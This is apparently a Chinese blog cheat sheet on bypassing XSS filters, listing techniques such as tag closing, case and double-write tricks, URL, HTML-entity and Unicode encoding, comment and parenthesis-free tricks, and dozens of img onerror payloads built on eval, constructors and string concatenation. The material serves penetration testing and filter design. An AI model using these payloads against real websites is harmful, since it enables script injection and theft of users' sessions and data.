XSS绕过方法总结

htmlspecialchars():将预定义字符转为实体编码
  • " < > & ' 等字符转为文本型实体编码
常用的xss注入方法
  • <img>标签
  • <a>标签
  • <input>标签
  • 事件触发

    • onmouseover
    • onclick
    • onfocus等
XSS寻找和绕过
  • 找信息交互处;输入信息看回显和页面源码;找输入信息是否存在(判断xss是否存在)
    • 搜索框;留言板等
  • 根据源码分析xss绕过方法

    • 引号闭合
    • 标签闭合
    • 大小写绕过
    • 双写绕过
    • &截断 /#截断
    • %09 %0a %0d / 绕过(针对关键字/空格过滤)
    • ng-include外包文件绕过(DOM中)
      • 引入文件作为当前节点的子节点
    • bp抓包绕过(针对前端限制或隐藏标签)
    • 编码绕过

      • url编码

        • 可以二次url编码;针对%可以一直编码为%25,不断叠加
        • 如w编码是%77;二次编码就是%2577
      • html实体编码

        • 文本型
        • 十进制
        • 十六进制
      • js编码(unicode编码)
    • 注释符绕过
      • html注释有两种

        • <!-- -->
        • <!-- --!>
        • -->可以表示单行注释
    • 古英文符号绕过
      • ſ :表示s的另一种写法;转为大写是S
    • 不完整标签绕过
      • <img src οnerrοr="alert(1)"
    • </style > :中间加空格不影响标签效果
    • 针对url过滤时

      • url编码
      • 使用ip绕过

        • ip十进制
        • ip八进制
        • ip十六进制
        • 使用//代替http://(也可以使用\代替)
      • 使用中文的标点符号代替英文符号进行绕过
        • <img src="x" οnerrοr="document.location=``http://www。baidu。com``">
    • 括号过滤()

      • throw绕过
        • <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
      • 反引号代替`(esc下面的键)
      • 编码绕过
    • 函数(重点)

      • 字符串拼接函数(用法都一样)

        • eval
          • <img src="x" οnerrοr="eval('al'+'ert(1)')">
        • top
          • <img src="x" οnerrοr="top['al'+'ert'](1)">
        • window
        • self
        • parent
        • frames
      • 常用函数

        • <img src="x" οnerrοr="eval(alert(1))">
        • <img src="x" οnerrοr="open(alert(1))">
        • <img src="x" οnerrοr="document.write(alert(1))">
        • <img src="x" οnerrοr="setTimeout(alert(1))">
        • <img src="x" οnerrοr="setInterval(alert(1))">
        • <img src="x" οnerrοr="Set.constructor(alert(1))">
        • <img src="x" οnerrοr="Map.constructor(alert(1))">
        • <img src="x" οnerrοr="Array.constructor(alert(1))">
        • <img src="x" οnerrοr="WeakSet.constructor(alert(1))">
        • <img src="x" οnerrοr="constructor.constructor(alert(1))">
        • <img src="x" οnerrοr="[1].map(alert(1))">
        • <img src="x" οnerrοr="[1].find(alert(1))">
        • <img src="x" οnerrοr="[1].every(alert(1))">
        • <img src="x" οnerrοr="[1].filter(alert(1))">
        • <img src="x" οnerrοr="[1].forEach(alert(1))">
        • <img src="x" οnerrοr="[1].findIndex(alert(1))">
      • 赋值拼接

        • <img src οnerrοr==alert,(1)>
        • <img src x=al y=ert οnerrοr=top[x+y](1)>
        • <img src οnerrοr=top[a='al',b='ev',b+a]('alert(1)')>
        • <img src οnerrοr=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
相关推荐
saber_andlibert1 小时前
TCMalloc底层实现
java·前端·网络
逍遥德1 小时前
如何学编程之01.理论篇.如何通过阅读代码来提高自己的编程能力?
前端·后端·程序人生·重构·软件构建·代码规范
冻感糕人~1 小时前
【珍藏必备】ReAct框架实战指南:从零开始构建AI智能体,让大模型学会思考与行动
java·前端·人工智能·react.js·大模型·就业·大模型学习
程序员agions1 小时前
2026年,“配置工程师“终于死绝了
前端·程序人生
alice--小文子2 小时前
cursor-mcp工具使用
java·服务器·前端
晚霞的不甘2 小时前
揭秘 CANN 内存管理:如何让大模型在小设备上“轻装上阵”?
前端·数据库·经验分享·flutter·3d
小迷糊的学习记录2 小时前
0.1 + 0.2 不等于 0.3
前端·javascript·面试
梦帮科技3 小时前
Node.js配置生成器CLI工具开发实战
前端·人工智能·windows·前端框架·node.js·json
VT.馒头3 小时前
【力扣】2695. 包装数组
前端·javascript·算法·leetcode·职场和发展·typescript
css趣多多3 小时前
一个UI内置组件el-scrollbar
前端·javascript·vue.js